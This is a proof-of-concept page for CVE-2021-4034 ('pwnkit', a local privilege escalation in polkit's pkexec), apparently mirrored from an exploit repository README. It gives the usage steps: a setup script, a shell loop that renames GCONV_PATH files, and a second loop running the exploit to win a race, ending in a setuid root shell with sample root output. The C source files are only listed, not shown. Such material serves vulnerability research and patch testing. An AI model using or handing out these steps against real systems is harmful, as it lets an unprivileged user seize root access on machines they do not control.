CVE-2021-4034 PoC — polkit 缓冲区错误漏洞

Source

Associated Vulnerability

Description

Exploit for CVE-2021-4034

Readme

# CVE-2021-4034

Exploit for the [pwnkit vulnerability](https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt)
from the Qualys team.

This exploit assumes that `gcc` is present on the target machine.

```
$ id
uid=1001(ayrx) gid=1002(ayrx) groups=1002(ayrx),27(sudo)
$ ./setup.sh
```

Run the following command in one bash session:
```
while :; do mv "GCONV_PATH=./value" "GCONV_PATH=./value.bak"; mv "GCONV_PATH=./value.bak" "GCONV_PATH=./value"; done
```

Run the following command in another bash session:

```
while :; do ./exploit; done
```

You will eventually win the race and obtain a `shell` binary that gives you
root access:

```
$ ls -lah shell
-rwsrwxrwx 1 root ayrx 16K Jan 26 08:57 shell
$ ./shell
# id
uid=0(root) gid=1002(ayrx) groups=1002(ayrx),27(sudo)
```

A short write up on the technique can be found on my [blog](https://www.ayrx.me/pwnkit-no-logs/).

File Snapshot

 [4.0K]  /data/pocs/9511f4f896ce3daaa87a08a20a797a344a4ddbd7
├── [ 268]  exploit.c
├── [  36]  gconv-modules
├── [ 290]  payload.c
├── [ 880]  README.md
├── [ 238]  setup.sh
└── [ 205]  shell.c

0 directories, 6 files

Remarks